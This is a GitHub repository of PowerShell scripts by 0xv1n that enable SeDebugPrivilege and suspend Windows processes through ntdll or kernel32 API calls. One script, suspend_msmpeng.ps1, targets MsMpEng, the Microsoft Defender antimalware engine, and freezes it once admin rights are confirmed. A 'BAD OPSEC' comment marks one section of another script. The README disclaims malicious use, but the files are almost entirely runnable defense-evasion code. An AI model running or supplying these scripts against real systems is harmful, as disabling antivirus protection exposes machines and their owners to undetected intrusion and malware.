├── README.md ├── LICENSE ├── sus_ntdll.ps1 ├── sus.ps1 └── suspend_msmpeng.ps1 /README.md: -------------------------------------------------------------------------------- 1 | # proc-suspend 2 | powershell script i wrote that can suspend an arbitrary process (with limits). script was written for research purposes, I am not responsible for how it is used. 3 | 4 | There are a few examples of different iterations in this repo (like using `[NTDLL]::NtSuspendProcess` over `[KERNEL32]::SuspendThread`. Nothing is organized, and all iterations were uploaded for documentation/testing. 5 | 6 | Use at your own risk. 7 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2023 0xv1n 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /sus_ntdll.ps1: -------------------------------------------------------------------------------- 1 | # Same script but uses NtSuspendProcess from ntdll instead of OpenThread + SuspendThread 2 | Add-Type @" 3 | using System; 4 | using System.Runtime.InteropServices; 5 | 6 | public class Advapi32 { 7 | [DllImport("advapi32.dll", SetLastError = true)] 8 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 9 | 10 | [DllImport("advapi32.dll", SetLastError = true)] 11 | public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); 12 | 13 | [DllImport("advapi32.dll", SetLastError = true)] 14 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); 15 | 16 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 17 | public const UInt32 TOKEN_QUERY = 0x0008; 18 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002; 19 | } 20 | 21 | [StructLayout(LayoutKind.Sequential)] 22 | public struct LUID { 23 | public UInt32 LowPart; 24 | public Int32 HighPart; 25 | } 26 | 27 | [StructLayout(LayoutKind.Sequential)] 28 | public struct LUID_AND_ATTRIBUTES { 29 | public LUID Luid; 30 | public UInt32 Attributes; 31 | } 32 | 33 | public struct TOKEN_PRIVILEGES { 34 | public UInt32 PrivilegeCount; 35 | public LUID_AND_ATTRIBUTES Privileges; 36 | } 37 | 38 | public class NtDll { 39 | [DllImport("ntdll.dll")] 40 | public static extern int NtSuspendProcess(IntPtr processHandle); 41 | 42 | [DllImport("ntdll.dll")] 43 | public static extern int NtResumeProcess(IntPtr processHandle); 44 | } 45 | "@ 46 | ## BAD OPSEC STARTS HERE 47 | function Enable-DebugPrivilege { 48 | $hToken = [IntPtr]::Zero 49 | $luid = New-Object LUID 50 | $tokenPrivileges = New-Object TOKEN_PRIVILEGES 51 | 52 | if (-not [Advapi32]::OpenProcessToken([System.Diagnostics.Process]::GetCurrentProcess().Handle, [Advapi32]::TOKEN_ADJUST_PRIVILEGES -bor [Advapi32]::TOKEN_QUERY, [ref] $hToken)) { 53 | throw "Failed to open process token. Error: $($LASTEXITCODE)" 54 | } 55 | 56 | if (-not [Advapi32]::LookupPrivilegeValue([NullString]::Value, "SeDebugPrivilege", [ref] $luid)) { 57 | throw "Failed to look up privilege value. Error: $($LASTEXITCODE)" 58 | } 59 | 60 | $tokenPrivileges.PrivilegeCount = 1 61 | $tokenPrivileges.Privileges.Luid = $luid 62 | $tokenPrivileges.Privileges.Attributes = [Advapi32]::SE_PRIVILEGE_ENABLED 63 | 64 | if (-not [Advapi32]::AdjustTokenPrivileges($hToken, $false, [ref] $tokenPrivileges, 0, [IntPtr]::Zero, [IntPtr]::Zero)) { 65 | throw "Failed to adjust token privileges. Error: $($LASTEXITCODE)" 66 | } 67 | } 68 | 69 | Enable-DebugPrivilege 70 | ## BAD OPSEC ENDS HERE 71 | 72 | $processName = "process_name" 73 | $process = Get-Process -Name $processName -ErrorAction SilentlyContinue 74 | 75 | if ($process -ne $null) { 76 | # Suspend process 77 | $processHandle = $process.Handle 78 | $suspendResult = [NtDll]::NtSuspendProcess($processHandle) 79 | 80 | if ($suspendResult -eq 0) { 81 | Write-Host "Process $($processName) suspended successfully." 82 | } else { 83 | Write-Host "Failed to suspend process $($processName). Error: $($suspendResult)" 84 | } 85 | } else { 86 | Write-Host "Process $($processName) not found." 87 | } 88 | -------------------------------------------------------------------------------- /sus.ps1: -------------------------------------------------------------------------------- 1 | Add-Type @" 2 | using System; 3 | using System.Runtime.InteropServices; 4 | 5 | public class Advapi32 { 6 | [DllImport("advapi32.dll", SetLastError = true)] 7 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 8 | 9 | [DllImport("advapi32.dll", SetLastError = true)] 10 | public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); 11 | 12 | [DllImport("advapi32.dll", SetLastError = true)] 13 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); 14 | 15 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 16 | public const UInt32 TOKEN_QUERY = 0x0008; 17 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002; 18 | } 19 | 20 | [StructLayout(LayoutKind.Sequential)] 21 | public struct LUID { 22 | public UInt32 LowPart; 23 | public Int32 HighPart; 24 | } 25 | 26 | [StructLayout(LayoutKind.Sequential)] 27 | public struct LUID_AND_ATTRIBUTES { 28 | public LUID Luid; 29 | public UInt32 Attributes; 30 | } 31 | 32 | public struct TOKEN_PRIVILEGES { 33 | public UInt32 PrivilegeCount; 34 | public LUID_AND_ATTRIBUTES Privileges; 35 | } 36 | 37 | public class Kernel32 { 38 | [DllImport("kernel32.dll", SetLastError = true)] 39 | public static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId); 40 | 41 | [DllImport("kernel32.dll", SetLastError = true)] 42 | public static extern uint SuspendThread(IntPtr hThread); 43 | 44 | [DllImport("kernel32.dll", SetLastError = true)] 45 | public static extern uint ResumeThread(IntPtr hThread); 46 | 47 | [DllImport("kernel32.dll", SetLastError = true)] 48 | public static extern bool CloseHandle(IntPtr hObject); 49 | } 50 | "@ 51 | $THREAD_SUSPEND_RESUME = 0x0002 52 | 53 | function Enable-DebugPrivilege { 54 | $hToken = [IntPtr]::Zero 55 | $luid = New-Object LUID 56 | $tokenPrivileges = New-Object TOKEN_PRIVILEGES 57 | 58 | if (-not [Advapi32]::OpenProcessToken([System.Diagnostics.Process]::GetCurrentProcess().Handle, [Advapi32]::TOKEN_ADJUST_PRIVILEGES -bor [Advapi32]::TOKEN_QUERY, [ref] $hToken)) { 59 | throw "Failed to open process token. Error: $($LASTEXITCODE)" 60 | } 61 | 62 | if (-not [Advapi32]::LookupPrivilegeValue([NullString]::Value, "SeDebugPrivilege", [ref] $luid)) { 63 | throw "Failed to look up privilege value. Error: $($LASTEXITCODE)" 64 | } 65 | 66 | $tokenPrivileges.PrivilegeCount = 1 67 | $tokenPrivileges.Privileges.Luid = $luid 68 | $tokenPrivileges.Privileges.Attributes = [Advapi32]::SE_PRIVILEGE_ENABLED 69 | 70 | if (-not [Advapi32]::AdjustTokenPrivileges($hToken, $false, [ref] $tokenPrivileges, 0, [IntPtr]::Zero, [IntPtr]::Zero)) { 71 | throw "Failed to adjust token privileges. Error: $($LASTEXITCODE)" 72 | } 73 | echo $tokenPrivileges 74 | } 75 | 76 | Enable-DebugPrivilege 77 | 78 | $process = Get-Process -Name "" 79 | $threads = $process.Threads 80 | foreach ($thread in $threads) { 81 | $hThread = [Kernel32]::OpenThread($THREAD_SUSPEND_RESUME, $false, $thread.Id) 82 | if ($hThread -ne [IntPtr]::Zero) { 83 | [Kernel32]::SuspendThread($hThread) 84 | [Kernel32]::CloseHandle($hThread) 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /suspend_msmpeng.ps1: -------------------------------------------------------------------------------- 1 | # Author: 0xv1n 2 | # Purpose: This script was written to see if I could mimic the functionality of Sysinternals pssuspend strictly with PowerShell 3 | # This script is intended for research purposes and I am not responsible for malicious use. Nothing in here is malware, just built-in Windows API usage. 4 | 5 | Add-Type @" 6 | using System; 7 | using System.Runtime.InteropServices; 8 | 9 | public class Advapi32 { 10 | [DllImport("advapi32.dll", SetLastError = true)] 11 | public static extern bool AdjustTokenPrivileges(IntPtr TokenHandle, bool DisableAllPrivileges, ref TOKEN_PRIVILEGES NewState, UInt32 BufferLength, IntPtr PreviousState, IntPtr ReturnLength); 12 | 13 | [DllImport("advapi32.dll", SetLastError = true)] 14 | public static extern bool LookupPrivilegeValue(string lpSystemName, string lpName, out LUID lpLuid); 15 | 16 | [DllImport("advapi32.dll", SetLastError = true)] 17 | public static extern bool OpenProcessToken(IntPtr ProcessHandle, UInt32 DesiredAccess, out IntPtr TokenHandle); 18 | 19 | public const UInt32 TOKEN_ADJUST_PRIVILEGES = 0x0020; 20 | public const UInt32 TOKEN_QUERY = 0x0008; 21 | public const UInt32 SE_PRIVILEGE_ENABLED = 0x00000002; 22 | } 23 | 24 | [StructLayout(LayoutKind.Sequential)] 25 | public struct LUID { 26 | public UInt32 LowPart; 27 | public Int32 HighPart; 28 | } 29 | 30 | [StructLayout(LayoutKind.Sequential)] 31 | public struct LUID_AND_ATTRIBUTES { 32 | public LUID Luid; 33 | public UInt32 Attributes; 34 | } 35 | 36 | public struct TOKEN_PRIVILEGES { 37 | public UInt32 PrivilegeCount; 38 | public LUID_AND_ATTRIBUTES Privileges; 39 | } 40 | 41 | public class NtDll { 42 | [DllImport("ntdll.dll")] 43 | public static extern int NtSuspendProcess(IntPtr processHandle); 44 | 45 | [DllImport("ntdll.dll")] 46 | public static extern int NtResumeProcess(IntPtr processHandle); 47 | } 48 | 49 | public class Kernel32 { 50 | [DllImport("kernel32.dll", SetLastError = true)] 51 | public static extern IntPtr OpenProcess(UInt32 dwDesiredAccess, bool bInheritHandle, int dwProcessId); 52 | 53 | [DllImport("kernel32.dll", SetLastError = true)] 54 | public static extern bool CloseHandle(IntPtr hObject); 55 | } 56 | "@ 57 | 58 | function Enable-DebugPrivilege { 59 | $hToken = [IntPtr]::Zero 60 | $luid = New-Object LUID 61 | $tokenPrivileges = New-Object TOKEN_PRIVILEGES 62 | 63 | if (-not [Advapi32]::OpenProcessToken([System.Diagnostics.Process]::GetCurrentProcess().Handle, [Advapi32]::TOKEN_ADJUST_PRIVILEGES -bor [Advapi32]::TOKEN_QUERY, [ref] $hToken)) { 64 | throw "Failed to open process token. Error: $($LASTEXITCODE)" 65 | } 66 | 67 | if (-not [Advapi32]::LookupPrivilegeValue([NullString]::Value, "SeDebugPrivilege", [ref] $luid)) { 68 | throw "Failed to look up privilege value. Error: $($LASTEXITCODE)" 69 | } 70 | 71 | $tokenPrivileges.PrivilegeCount = 1 72 | $tokenPrivileges.Privileges.Luid = $luid 73 | $tokenPrivileges.Privileges.Attributes = [Advapi32]::SE_PRIVILEGE_ENABLED 74 | 75 | if (-not [Advapi32]::AdjustTokenPrivileges($hToken, $false, [ref] $tokenPrivileges, 0, [IntPtr]::Zero, [IntPtr]::Zero)) { 76 | throw "Failed to adjust token privileges. Error: $($LASTEXITCODE)" 77 | } 78 | } 79 | 80 | function Test-Admin { 81 | $currentUser = New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent()) 82 | $isAdmin = $currentUser.IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator) 83 | return $isAdmin 84 | } 85 | 86 | if (-not (Test-Admin)) { 87 | Write-Host "Please run the script with administrative privileges." 88 | return 89 | } 90 | 91 | Enable-DebugPrivilege 92 | 93 | $processName = "MsMpEng" 94 | $process = Get-Process -Name $processName -ErrorAction SilentlyContinue 95 | 96 | if ($process -ne $null) { 97 | $PROCESS_SUSPEND_RESUME = 0x0800 98 | 99 | $processId = $process.Id 100 | $processHandle = [Kernel32]::OpenProcess($PROCESS_SUSPEND_RESUME, $false, $processId) 101 | 102 | if ($processHandle -ne [IntPtr]::Zero) { 103 | $suspendResult = [NtDll]::NtSuspendProcess($processHandle) 104 | 105 | # TODO: For some reason, I'm not entering these blocks even if the suspension is successful. 106 | if ($suspendResult -eq 0) { 107 | Write-Host "Process $($processName) suspended successfully." 108 | } else { 109 | Write-Host "Failed to suspend process $($processName). Error: $($suspendResult)" 110 | } 111 | 112 | [Kernel32]::CloseHandle($processHandle) 113 | } else { 114 | Write-Host "Failed to open process handle for $($processName)." 115 | } 116 | } else { 117 | Write-Host "Process $($processName) not found." 118 | } 119 | --------------------------------------------------------------------------------